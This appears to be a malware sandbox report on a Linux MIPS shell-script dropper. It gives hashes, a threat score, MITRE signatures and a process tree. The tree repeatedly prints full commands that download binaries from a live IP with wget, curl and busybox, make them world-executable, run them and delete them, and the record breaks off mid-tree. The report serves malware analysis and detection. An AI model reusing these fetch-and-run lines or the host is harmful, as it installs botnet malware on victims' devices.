ee06e4cbf1285bfe61e7847dbdc807b5011ef76d78cd14cf70228c7fb001939c

Analysis

max time kernel
66s
max time network
69s
platform
debian-9_mipsel
resource
debian9-mipsel-20240418-en
resource tags

arch:mipselimage:debian9-mipsel-20240418-enkernel:4.9.0-13-4kc-maltalocale:en-usos:debian-9-mipselsystem
submitted
22/11/2024, 03:16

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
ee06e4cbf1285bfe61e7847dbdc807b5011ef76d78cd14cf70228c7fb001939c.sh
Size 10KB
Sample241122-dspdpstlgy
SHA256 ee06e4cbf1285bfe61e7847dbdc807b5011ef76d78cd14cf70228c7fb001939c
MD5 456d18e88229695ec48121c8a61d19dd
SHA1 f150b8f54e5439a20273cb97837006150e6c55ac
SHA512 c371c3651c6c6d0e643fe3a445a032d01477451ae301dde621380b552d88398623c470dd8eeb64d374abd9fd10ddf5755618f018be00c888870e0a4f624f7b06
SSDEEP 192:mAs44Ans0vPUPcPPKWFLvO4L8Yea7rKrWr5KyC7jn+37uiV7wgHKWm7y+I8EKQA+:7SKPKWUnTaIO3livFT6YSKPKW6
MD5 SHA1 SHA512 SSDEEP

Score

7^/10

defense_evasion discovery

Malware Config

Signatures

File and Directory Permissions Modification 1 TTPs 28 IoCs

Adversaries may modify file or directory permissions to evade defenses.

defense_evasion

Linux and Mac File and Directory Permissions Modification

T1222.002

pid	Process
960	chmod
966	chmod
717	chmod
735	chmod
864	chmod
930	chmod
954	chmod
813	chmod
918	chmod
924	chmod
942	chmod
750	chmod
948	chmod
849	chmod
936	chmod
769	chmod
793	chmod
828	chmod
876	chmod
894	chmod
906	chmod
912	chmod
729	chmod
870	chmod
882	chmod
900	chmod
888	chmod
804	chmod

Executes dropped EXE 28 IoCs

Reads runtime system information 28 IoCs

Reads data from /proc virtual filesystem.

discovery

description	ioc	Process
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl

System Network Configuration Discovery 1 TTPs 10 IoCs

Adversaries may gather information about the network configuration of a system.

discovery

System Network Configuration Discovery

T1016

pid	Process
933	wget
934	curl
935	busybox
937	egiptpRqNDCnEQ9YdAN5fxXGv8jkEQ05og
755	wget
760	curl
773	rm
766	busybox
770	egiptpRqNDCnEQ9YdAN5fxXGv8jkEQ05og
938	rm

Writes file to tmp directory 28 IoCs

Malware often drops required files in the /tmp directory.

description	ioc	Process
File opened for modification	/tmp/ggi8YJ5tansDThG5yNTP7H9YCUo27WqnXV	curl
File opened for modification	/tmp/egiptpRqNDCnEQ9YdAN5fxXGv8jkEQ05og	curl
File opened for modification	/tmp/PYOd68tjvQyx44BE9yR3x8hQwvDXciuG4a	curl
File opened for modification	/tmp/zNNjucOGrBte578OHzgxAL8xKAp8NpYgsx	curl
File opened for modification	/tmp/ggi8YJ5tansDThG5yNTP7H9YCUo27WqnXV	curl
File opened for modification	/tmp/mMuqNAVbMSWILN6XCfuBOpc77iB4QmpVRK	curl
File opened for modification	/tmp/3xrsm4XgoK0SRDJysmgsXLFPfIbJmNWCoV	curl
File opened for modification	/tmp/aJR47pt9V7C4PpCyIsLF5cLI0saxzNxoHF	curl
File opened for modification	/tmp/P4hGFVyLVWfjdROx7Y21a49gr6x3eOq6tO	curl
File opened for modification	/tmp/3yb5zbu6YTXPCtjWcaitOxtMWOV9GkBsby	curl
File opened for modification	/tmp/mMuqNAVbMSWILN6XCfuBOpc77iB4QmpVRK	curl
File opened for modification	/tmp/egiptpRqNDCnEQ9YdAN5fxXGv8jkEQ05og	curl
File opened for modification	/tmp/nCCkpMu5UVIqnlBLhXEVgv6hVyuVqVUe4f	curl
File opened for modification	/tmp/Q6q2dbdYHJ2nWHtbutuv1pF7dIWx1uIDOH	curl
File opened for modification	/tmp/16AuKiZRP7k0SwPh7meRu8VLQQO7cvNnE2	curl
File opened for modification	/tmp/dnSDCKA4ZO9CHppzt5dRCNkEBwQa0TUgxc	curl
File opened for modification	/tmp/3xrsm4XgoK0SRDJysmgsXLFPfIbJmNWCoV	curl
File opened for modification	/tmp/3yb5zbu6YTXPCtjWcaitOxtMWOV9GkBsby	curl
File opened for modification	/tmp/nCCkpMu5UVIqnlBLhXEVgv6hVyuVqVUe4f	curl
File opened for modification	/tmp/zNNjucOGrBte578OHzgxAL8xKAp8NpYgsx	curl
File opened for modification	/tmp/PYOd68tjvQyx44BE9yR3x8hQwvDXciuG4a	curl
File opened for modification	/tmp/U45E7zB0Vw9XYLMCfGeUg9uDjcuSApvz9T	curl
File opened for modification	/tmp/16AuKiZRP7k0SwPh7meRu8VLQQO7cvNnE2	curl
File opened for modification	/tmp/Q6q2dbdYHJ2nWHtbutuv1pF7dIWx1uIDOH	curl
File opened for modification	/tmp/aJR47pt9V7C4PpCyIsLF5cLI0saxzNxoHF	curl
File opened for modification	/tmp/dnSDCKA4ZO9CHppzt5dRCNkEBwQa0TUgxc	curl
File opened for modification	/tmp/U45E7zB0Vw9XYLMCfGeUg9uDjcuSApvz9T	curl
File opened for modification	/tmp/P4hGFVyLVWfjdROx7Y21a49gr6x3eOq6tO	curl

/tmp/ee06e4cbf1285bfe61e7847dbdc807b5011ef76d78cd14cf70228c7fb001939c.sh
/tmp/ee06e4cbf1285bfe61e7847dbdc807b5011ef76d78cd14cf70228c7fb001939c.sh
1⤵
PID:692
- /bin/rm
  /bin/rm bins.sh
  2⤵
  PID:694
- /usr/bin/wget
  wget http://87.120.125.191/bins/Q6q2dbdYHJ2nWHtbutuv1pF7dIWx1uIDOH
  2⤵
  PID:698
- /usr/bin/curl
  curl -O http://87.120.125.191/bins/Q6q2dbdYHJ2nWHtbutuv1pF7dIWx1uIDOH
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:704
- /bin/busybox
  /bin/busybox wget http://87.120.125.191/bins/Q6q2dbdYHJ2nWHtbutuv1pF7dIWx1uIDOH
  2⤵
  PID:715
- /bin/chmod
  chmod 777 Q6q2dbdYHJ2nWHtbutuv1pF7dIWx1uIDOH
  2⤵
  - File and Directory Permissions Modification
  PID:717
- /tmp/Q6q2dbdYHJ2nWHtbutuv1pF7dIWx1uIDOH
  ./Q6q2dbdYHJ2nWHtbutuv1pF7dIWx1uIDOH
  2⤵
  - Executes dropped EXE
  PID:718
- /bin/rm
  rm Q6q2dbdYHJ2nWHtbutuv1pF7dIWx1uIDOH
  2⤵
  PID:720
- /usr/bin/wget
  wget http://87.120.125.191/bins/3yb5zbu6YTXPCtjWcaitOxtMWOV9GkBsby
  2⤵
  PID:721
- /usr/bin/curl
  curl -O http://87.120.125.191/bins/3yb5zbu6YTXPCtjWcaitOxtMWOV9GkBsby
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:725
- /bin/busybox
  /bin/busybox wget http://87.120.125.191/bins/3yb5zbu6YTXPCtjWcaitOxtMWOV9GkBsby
  2⤵
  PID:728
- /bin/chmod
  chmod 777 3yb5zbu6YTXPCtjWcaitOxtMWOV9GkBsby
  2⤵
  - File and Directory Permissions Modification
  PID:729
- /tmp/3yb5zbu6YTXPCtjWcaitOxtMWOV9GkBsby
  ./3yb5zbu6YTXPCtjWcaitOxtMWOV9GkBsby
  2⤵
  - Executes dropped EXE
  PID:730
- /bin/rm
  rm 3yb5zbu6YTXPCtjWcaitOxtMWOV9GkBsby
  2⤵
  PID:731
- /usr/bin/wget
  wget http://87.120.125.191/bins/ggi8YJ5tansDThG5yNTP7H9YCUo27WqnXV
  2⤵
  PID:732
- /usr/bin/curl
  curl -O http://87.120.125.191/bins/ggi8YJ5tansDThG5yNTP7H9YCUo27WqnXV
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:733
- /bin/busybox
  /bin/busybox wget http://87.120.125.191/bins/ggi8YJ5tansDThG5yNTP7H9YCUo27WqnXV
  2⤵
  PID:734
- /bin/chmod
  chmod 777 ggi8YJ5tansDThG5yNTP7H9YCUo27WqnXV
  2⤵
  - File and Directory Permissions Modification
  PID:735
- /tmp/ggi8YJ5tansDThG5yNTP7H9YCUo27WqnXV
  ./ggi8YJ5tansDThG5yNTP7H9YCUo27WqnXV
  2⤵
  - Executes dropped EXE
  PID:736
- /bin/rm
  rm ggi8YJ5tansDThG5yNTP7H9YCUo27WqnXV
  2⤵
  PID:737
- /usr/bin/wget
  wget http://87.120.125.191/bins/U45E7zB0Vw9XYLMCfGeUg9uDjcuSApvz9T
  2⤵
  PID:738
- /usr/bin/curl
  curl -O http://87.120.125.191/bins/U45E7zB0Vw9XYLMCfGeUg9uDjcuSApvz9T
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:739
- /bin/busybox
  /bin/busybox wget http://87.120.125.191/bins/U45E7zB0Vw9XYLMCfGeUg9uDjcuSApvz9T
  2⤵
  PID:747
- /bin/chmod
  chmod 777 U45E7zB0Vw9XYLMCfGeUg9uDjcuSApvz9T
  2⤵
  - File and Directory Permissions Modification
  PID:750
- /tmp/U45E7zB0Vw9XYLMCfGeUg9uDjcuSApvz9T
  ./U45E7zB0Vw9XYLMCfGeUg9uDjcuSApvz9T
  2⤵
  - Executes dropped EXE
  PID:751
- /bin/rm
  rm U45E7zB0Vw9XYLMCfGeUg9uDjcuSApvz9T
  2⤵
  PID:754
- /usr/bin/wget
  wget http://87.120.125.191/bins/egiptpRqNDCnEQ9YdAN5fxXGv8jkEQ05og
  2⤵
  - System Network Configuration Discovery
  PID:755
- /usr/bin/curl
  curl -O http://87.120.125.191/bins/egiptpRqNDCnEQ9YdAN5fxXGv8jkEQ05og
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:760
- /bin/busybox
  /bin/busybox wget http://87.120.125.191/bins/egiptpRqNDCnEQ9YdAN5fxXGv8jkEQ05og
  2⤵
  - System Network Configuration Discovery
  PID:766
- /bin/chmod
  chmod 777 egiptpRqNDCnEQ9YdAN5fxXGv8jkEQ05og
  2⤵
  - File and Directory Permissions Modification
  PID:769
- /tmp/egiptpRqNDCnEQ9YdAN5fxXGv8jkEQ05og
  ./egiptpRqNDCnEQ9YdAN5fxXGv8jkEQ05og
  2⤵
  - Executes dropped EXE
  - System Network Configuration Discovery
  PID:770
- /bin/rm
  rm egiptpRqNDCnEQ9YdAN5fxXGv8jkEQ05og
  2⤵
  - System Network Configuration Discovery
  PID:773
- /usr/bin/wget
  wget http://87.120.125.191/bins/16AuKiZRP7k0SwPh7meRu8VLQQO7cvNnE2
  2⤵
  PID:774
- /usr/bin/curl
  curl -O http://87.120.125.191/bins/16AuKiZRP7k0SwPh7meRu8VLQQO7cvNnE2
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:780
- /bin/busybox
  /bin/busybox wget http://87.120.125.191/bins/16AuKiZRP7k0SwPh7meRu8VLQQO7cvNnE2
  2⤵
  PID:789
- /bin/chmod
  chmod 777 16AuKiZRP7k0SwPh7meRu8VLQQO7cvNnE2
  2⤵
  - File and Directory Permissions Modification
  PID:793
- /tmp/16AuKiZRP7k0SwPh7meRu8VLQQO7cvNnE2
  ./16AuKiZRP7k0SwPh7meRu8VLQQO7cvNnE2
  2⤵
  - Executes dropped EXE
  PID:794
- /bin/rm
  rm 16AuKiZRP7k0SwPh7meRu8VLQQO7cvNnE2
  2⤵
  PID:798
- /usr/bin/wget
  wget http://87.120.125.191/bins/nCCkpMu5UVIqnlBLhXEVgv6hVyuVqVUe4f
  2⤵
  PID:799
- /usr/bin/curl
  curl -O http://87.120.125.191/bins/nCCkpMu5UVIqnlBLhXEVgv6hVyuVqVUe4f
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:802
- /bin/busybox
  /bin/busybox wget http://87.120.125.191/bins/nCCkpMu5UVIqnlBLhXEVgv6hVyuVqVUe4f
  2⤵
  PID:803
- /bin/chmod
  chmod 777 nCCkpMu5UVIqnlBLhXEVgv6hVyuVqVUe4f
  2⤵
  - File and Directory Permissions Modification
  PID:804
- /tmp/nCCkpMu5UVIqnlBLhXEVgv6hVyuVqVUe4f
  ./nCCkpMu5UVIqnlBLhXEVgv6hVyuVqVUe4f
  2⤵
  - Executes dropped EXE
  PID:805
- /bin/rm
  rm nCCkpMu5UVIqnlBLhXEVgv6hVyuVqVUe4f
  2⤵
  PID:806
- /usr/bin/wget
  wget http://87.120.125.191/bins/dnSDCKA4ZO9CHppzt5dRCNkEBwQa0TUgxc
  2⤵
  PID:807
- /usr/bin/curl
  curl -O http://87.120.125.191/bins/dnSDCKA4ZO9CHppzt5dRCNkEBwQa0TUgxc
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:808
- /bin/busybox
  /bin/busybox wget http://87.120.125.191/bins/dnSDCKA4ZO9CHppzt5dRCNkEBwQa0TUgxc
  2⤵
  PID:812
- /bin/chmod
  chmod 777 dnSDCKA4ZO9CHppzt5dRCNkEBwQa0TUgxc
  2⤵
  - File and Directory Permissions Modification
  PID:813
- /tmp/dnSDCKA4ZO9CHppzt5dRCNkEBwQa0TUgxc
  ./dnSDCKA4ZO9CHppzt5dRCNkEBwQa0TUgxc
  2⤵
  - Executes dropped EXE
  PID:815
- /bin/rm
  rm dnSDCKA4ZO9CHppzt5dRCNkEBwQa0TUgxc
  2⤵
  PID:818
- /usr/bin/wget
  wget http://87.120.125.191/bins/PYOd68tjvQyx44BE9yR3x8hQwvDXciuG4a
  2⤵
  PID:819
- /usr/bin/curl
  curl -O http://87.120.125.191/bins/PYOd68tjvQyx44BE9yR3x8hQwvDXciuG4a
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:820
- /bin/busybox
  /bin/busybox wget http://87.120.125.191/bins/PYOd68tjvQyx44BE9yR3x8hQwvDXciuG4a
  2⤵
  PID:824
- /bin/chmod
  chmod 777 PYOd68tjvQyx44BE9yR3x8hQwvDXciuG4a
  2⤵
  - File and Directory Permissions Modification
  PID:828
- /tmp/PYOd68tjvQyx44BE9yR3x8hQwvDXciuG4a
  ./PYOd68tjvQyx44BE9yR3x8hQwvDXciuG4a
  2⤵
  - Executes dropped EXE
  PID:829
- /bin/rm
  rm PYOd68tjvQyx44BE9yR3x8hQwvDXciuG4a
  2⤵
  PID:832
- /usr/bin/wget
  wget http://87.120.125.191/bins/aJR47pt9V7C4PpCyIsLF5cLI0saxzNxoHF
  2⤵
  PID:833
- /usr/bin/curl
  curl -O http://87.120.125.191/bins/aJR47pt9V7C4PpCyIsLF5cLI0saxzNxoHF
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:838
- /bin/busybox
  /bin/busybox wget http://87.120.125.191/bins/aJR47pt9V7C4PpCyIsLF5cLI0saxzNxoHF
  2⤵
  PID:846
- /bin/chmod
  chmod 777 aJR47pt9V7C4PpCyIsLF5cLI0saxzNxoHF
  2⤵
  - File and Directory Permissions Modification
  PID:849
- /tmp/aJR47pt9V7C4PpCyIsLF5cLI0saxzNxoHF
  ./aJR47pt9V7C4PpCyIsLF5cLI0saxzNxoHF
  2⤵
  - Executes dropped EXE
  PID:850
- /bin/rm
  rm aJR47pt9V7C4PpCyIsLF5cLI0saxzNxoHF
  2⤵
  PID:854
- /usr/bin/wget
  wget http://87.120.125.191/bins/mMuqNAVbMSWILN6XCfuBOpc77iB4QmpVRK
  2⤵
  PID:855
- /usr/bin/curl
  curl -O http://87.120.125.191/bins/mMuqNAVbMSWILN6XCfuBOpc77iB4QmpVRK
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:860
- /bin/busybox
  /bin/busybox wget http://87.120.125.191/bins/mMuqNAVbMSWILN6XCfuBOpc77iB4QmpVRK
  2⤵
  PID:863
- /bin/chmod
  chmod 777 mMuqNAVbMSWILN6XCfuBOpc77iB4QmpVRK
  2⤵
  - File and Directory Permissions Modification
  PID:864
- /tmp/mMuqNAVbMSWILN6XCfuBOpc77iB4QmpVRK
  ./mMuqNAVbMSWILN6XCfuBOpc77iB4QmpVRK
  2⤵
  - Executes dropped EXE
  PID:865
- /bin/rm
  rm mMuqNAVbMSWILN6XCfuBOpc77iB4QmpVRK
  2⤵
  PID:866
- /usr/bin/wget
  wget http://87.120.125.191/bins/3xrsm4XgoK0SRDJysmgsXLFPfIbJmNWCoV
  2⤵
  PID:867
- /usr/bin/curl
  curl -O http://87.120.125.191/bins/3xrsm4XgoK0SRDJysmgsXLFPfIbJmNWCoV
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:868
- /bin/busybox
  /bin/busybox wget http://87.120.125.191/bins/3xrsm4XgoK0SRDJysmgsXLFPfIbJmNWCoV
  2⤵
  PID:869
- /bin/chmod
  chmod 777 3xrsm4XgoK0SRDJysmgsXLFPfIbJmNWCoV
  2⤵
  - File and Directory Permissions Modification
  PID:870
- /tmp/3xrsm4XgoK0SRDJysmgsXLFPfIbJmNWCoV
  ./3xrsm4XgoK0SRDJysmgsXLFPfIbJmNWCoV
  2⤵
  - Executes dropped EXE
  PID:871
- /bin/rm
  rm 3xrsm4XgoK0SRDJysmgsXLFPfIbJmNWCoV
  2⤵
  PID:872
- /usr/bin/wget
  wget http://87.120.125.191/bins/P4hGFVyLVWfjdROx7Y21a49gr6x3eOq6tO
  2⤵
  PID:873
- /usr/bin/curl
  curl -O http://87.120.125.191/bins/P4hGFVyLVWfjdROx7Y21a49gr6x3eOq6tO
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:874
- /bin/busybox
  /bin/busybox wget http://87.120.125.191/bins/P4hGFVyLVWfjdROx7Y21a49gr6x3eOq6tO
  2⤵
  PID:875
- /bin/chmod
  chmod 777 P4hGFVyLVWfjdROx7Y21a49gr6x3eOq6tO
  2⤵
  - File and Directory Permissions Modification
  PID:876
- /tmp/P4hGFVyLVWfjdROx7Y21a49gr6x3eOq6tO
  ./P4hGFVyLVWfjdROx7Y21a49gr6x3eOq6tO
  2⤵
  - Executes dropped EXE
  PID:877
- /bin/rm
  rm P4hGFVyLVWfjdROx7Y21a49gr6x3eOq6tO
  2⤵
  PID:878
- /usr/bin/wget
  wget http://87.120.125.191/bins/zNNjucOGrBte578OHzgxAL8xKAp8NpYgsx
  2⤵
  PID:879
- /usr/bin/curl
  curl -O http://87.120.125.191/bins/zNNjucOGrBte578OHzgxAL8xKAp8NpYgsx
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:880
- /bin/busybox
  /bin/busybox wget http://87.120.125.191/bins/zNNjucOGrBte578OHzgxAL8xKAp8NpYgsx
  2⤵
  PID:881
- /bin/chmod
  chmod 777 zNNjucOGrBte578OHzgxAL8xKAp8NpYgsx
  2⤵
  - File and Directory Permissions Modification
  PID:882
- /tmp/zNNjucOGrBte578OHzgxAL8xKAp8NpYgsx
  ./zNNjucOGrBte578OHzgxAL8xKAp8NpYgsx
  2⤵
  - Executes dropped EXE
  PID:883
- /bin/rm
  rm zNNjucOGrBte578OHzgxAL8xKAp8NpYgsx
  2⤵
  PID:884
- /usr/bin/wget
  wget http://87.120.125.191/bins/dnSDCKA4ZO9CHppzt5dRCNkEBwQa0TUgxc
  2⤵
  PID:885
- /usr/bin/curl
  curl -O http://87.120.125.191/bins/dnSDCKA4ZO9CHppzt5dRCNkEBwQa0TUgxc
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:886
- /bin/busybox
  /bin/busybox wget http://87.120.125.191/bins/dnSDCKA4ZO9CHppzt5dRCNkEBwQa0TUgxc
  2⤵
  PID:887
- /bin/chmod
  chmod 777 dnSDCKA4ZO9CHppzt5dRCNkEBwQa0TUgxc
  2⤵
  - File and Directory Permissions Modification
  PID:888
- /tmp/dnSDCKA4ZO9CHppzt5dRCNkEBwQa0TUgxc
  ./dnSDCKA4ZO9CHppzt5dRCNkEBwQa0TUgxc
  2⤵
  - Executes dropped EXE
  PID:889
- /bin/rm
  rm dnSDCKA4ZO9CHppzt5dRCNkEBwQa0TUgxc
  2⤵
  PID:890
- /usr/bin/wget
  wget http://87.120.125.191/bins/PYOd68tjvQyx44BE9yR3x8hQwvDXciuG4a
  2⤵
  PID:891
- /usr/bin/curl
  curl -O http://87.120.125.191/bins/PYOd68tjvQyx44BE9yR3x8hQwvDXciuG4a
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:892
- /bin/busybox
  /bin/busybox wget http://87.120.125.191/bins/PYOd68tjvQyx44BE9yR3x8hQwvDXciuG4a
  2⤵
  PID:893
- /bin/chmod
  chmod 777 PYOd68tjvQyx44BE9yR3x8hQwvDXciuG4a
  2⤵
  - File and Directory Permissions Modification
  PID:894
- /tmp/PYOd68tjvQyx44BE9yR3x8hQwvDXciuG4a
  ./PYOd68tjvQyx44BE9yR3x8hQwvDXciuG4a
  2⤵
  - Executes dropped EXE
  PID:895
- /bin/rm
  rm PYOd68tjvQyx44BE9yR3x8hQwvDXciuG4a
  2⤵
  PID:896
- /usr/bin/wget
  wget http://87.120.125.191/bins/aJR47pt9V7C4PpCyIsLF5cLI0saxzNxoHF
  2⤵
  PID:897
- /usr/bin/curl
  curl -O http://87.120.125.191/bins/aJR47pt9V7C4PpCyIsLF5cLI0saxzNxoHF
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:898
- /bin/busybox
  /bin/busybox wget http://87.120.125.191/bins/aJR47pt9V7C4PpCyIsLF5cLI0saxzNxoHF
  2⤵
  PID:899
- /bin/chmod
  chmod 777 aJR47pt9V7C4PpCyIsLF5cLI0saxzNxoHF
  2⤵
  - File and Directory Permissions Modification
  PID:900
- /tmp/aJR47pt9V7C4PpCyIsLF5cLI0saxzNxoHF
  ./aJR47pt9V7C4PpCyIsLF5cLI0saxzNxoHF
  2⤵
  - Executes dropped EXE
  PID:901
- /bin/rm
  rm aJR47pt9V7C4PpCyIsLF5cLI0saxzNxoHF
  2⤵
  PID:902
- /usr/bin/wget
  wget http://87.120.125.191/bins/mMuqNAVbMSWILN6XCfuBOpc77iB4QmpVRK
  2⤵
  PID:903
- /usr/bin/curl
  curl -O http://87.120.125.191/bins/mMuqNAVbMSWILN6XCfuBOpc77iB4QmpVRK
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:904
- /bin/busybox
  /bin/busybox wget http://87.120.125.191/bins/mMuqNAVbMSWILN6XCfuBOpc77iB4QmpVRK
  2⤵
  PID:905
- /bin/chmod
  chmod 777 mMuqNAVbMSWILN6XCfuBOpc77iB4QmpVRK
  2⤵
  - File and Directory Permissions Modification
  PID:906
- /tmp/mMuqNAVbMSWILN6XCfuBOpc77iB4QmpVRK
  ./mMuqNAVbMSWILN6XCfuBOpc77iB4QmpVRK
  2⤵
  - Executes dropped EXE
  PID:907
- /bin/rm
  rm mMuqNAVbMSWILN6XCfuBOpc77iB4QmpVRK
  2⤵
  PID:908
- /usr/bin/wget
  wget http://87.120.125.191/bins/3xrsm4XgoK0SRDJysmgsXLFPfIbJmNWCoV
  2⤵
  PID:909
- /usr/bin/curl
  curl -O http://87.120.125.191/bins/3xrsm4XgoK0SRDJysmgsXLFPfIbJmNWCoV
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:910
- /bin/busybox
  /bin/busybox wget http://87.120.125.191/bins/3xrsm4XgoK0SRDJysmgsXLFPfIbJmNWCoV
  2⤵
  PID:911
- /bin/chmod
  chmod 777 3xrsm4XgoK0SRDJysmgsXLFPfIbJmNWCoV
  2⤵
  - File and Directory Permissions Modification
  PID:912
- /tmp/3xrsm4XgoK0SRDJysmgsXLFPfIbJmNWCoV
  ./3xrsm4XgoK0SRDJysmgsXLFPfIbJmNWCoV
  2⤵
  - Executes dropped EXE
  PID:913
- /bin/rm
  rm 3xrsm4XgoK0SRDJysmgsXLFPfIbJmNWCoV
  2⤵
  PID:914
- /usr/bin/wget
  wget http://87.120.125.191/bins/P4hGFVyLVWfjdROx7Y21a49gr6x3eOq6tO
  2⤵
  PID:915
- /usr/bin/curl
  curl -O http://87.120.125.191/bins/P4hGFVyLVWfjdROx7Y21a49gr6x3eOq6tO
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:916
- /bin/busybox
  /bin/busybox wget http://87.120.125.191/bins/P4hGFVyLVWfjdROx7Y21a49gr6x3eOq6tO
  2⤵
  PID:917
- /bin/chmod
  chmod 777 P4hGFVyLVWfjdROx7Y21a49gr6x3eOq6tO
  2⤵
  - File and Directory Permissions Modification
  PID:918
- /tmp/P4hGFVyLVWfjdROx7Y21a49gr6x3eOq6tO
  ./P4hGFVyLVWfjdROx7Y21a49gr6x3eOq6tO
  2⤵
  - Executes dropped EXE
  PID:919
- /bin/rm
  rm P4hGFVyLVWfjdROx7Y21a49gr6x3eOq6tO
  2⤵
  PID:920
- /usr/bin/wget
  wget http://87.120.125.191/bins/zNNjucOGrBte578OHzgxAL8xKAp8NpYgsx
  2⤵
  PID:921
- /usr/bin/curl
  curl -O http://87.120.125.191/bins/zNNjucOGrBte578OHzgxAL8xKAp8NpYgsx
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:922
- /bin/busybox
  /bin/busybox wget http://87.120.125.191/bins/zNNjucOGrBte578OHzgxAL8xKAp8NpYgsx
  2⤵
  PID:923
- /bin/chmod
  chmod 777 zNNjucOGrBte578OHzgxAL8xKAp8NpYgsx
  2⤵
  - File and Directory Permissions Modification
  PID:924
- /tmp/zNNjucOGrBte578OHzgxAL8xKAp8NpYgsx
  ./zNNjucOGrBte578OHzgxAL8xKAp8NpYgsx
  2⤵
  - Executes dropped EXE
  PID:925
- /bin/rm
  rm zNNjucOGrBte578OHzgxAL8xKAp8NpYgsx
  2⤵
  PID:926
- /usr/bin/wget
  wget http://87.120.125.191/bins/U45E7zB0Vw9XYLMCfGeUg9uDjcuSApvz9T
  2⤵
  PID:927
- /usr/bin/curl
  curl -O http://87.120.125.191/bins/U45E7zB0Vw9XYLMCfGeUg9uDjcuSApvz9T
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:928
- /bin/busybox
  /bin/busybox wget http://87.120.125.191/bins/U45E7zB0Vw9XYLMCfGeUg9uDjcuSApvz9T
  2⤵
  PID:929
- /bin/chmod
  chmod 777 U45E7zB0Vw9XYLMCfGeUg9uDjcuSApvz9T
  2⤵
  - File and Directory Permissions Modification
  PID:930
- /tmp/U45E7zB0Vw9XYLMCfGeUg9uDjcuSApvz9T
  ./U45E7zB0Vw9XYLMCfGeUg9uDjcuSApvz9T
  2⤵
  - Executes dropped EXE
  PID:931
- /bin/rm
  rm U45E7zB0Vw9XYLMCfGeUg9uDjcuSApvz9T
  2⤵
  PID:932
- /usr/bin/wget
  wget http://87.120.125.191/bins/egiptpRqNDCnEQ9YdAN5fxXGv8jkEQ05og
  2⤵
  - System Network Configuration Discovery
  PID:933
- /usr/bin/curl
  curl -O http://87.120.125.191/bins/egiptpRqNDCnEQ9YdAN5fxXGv8jkEQ05og
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:934
- /bin/busybox
  /bin/busybox wget http://87.120.125.191/bins/egiptpRqNDCnEQ9YdAN5fxXGv8jkEQ05og
  2⤵
  - System Network Configuration Discovery
  PID:935
- /bin/chmod
  chmod 777 egiptpRqNDCnEQ9YdAN5fxXGv8jkEQ05og
  2⤵
  - File and Directory Permissions Modification
  PID:936
- /tmp/egiptpRqNDCnEQ9YdAN5fxXGv8jkEQ05og
  ./egiptpRqNDCnEQ9YdAN5fxXGv8jkEQ05og
  2⤵
  - Executes dropped EXE
  - System Network Configuration Discovery
  PID:937
- /bin/rm
  rm egiptpRqNDCnEQ9YdAN5fxXGv8jkEQ05og
  2⤵
  - System Network Configuration Discovery
  PID:938
- /usr/bin/wget
  wget http://87.120.125.191/bins/16AuKiZRP7k0SwPh7meRu8VLQQO7cvNnE2
  2⤵
  PID:939
- /usr/bin/curl
  curl -O http://87.120.125.191/bins/16AuKiZRP7k0SwPh7meRu8VLQQO7cvNnE2
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:940
- /bin/busybox
  /bin/busybox wget http://87.120.125.191/bins/16AuKiZRP7k0SwPh7meRu8VLQQO7cvNnE2
  2⤵
  PID:941
- /bin/chmod
  chmod 777 16AuKiZRP7k0SwPh7meRu8VLQQO7cvNnE2
  2⤵
  - File and Directory Permissions Modification
  PID:942
- /tmp/16AuKiZRP7k0SwPh7meRu8VLQQO7cvNnE2
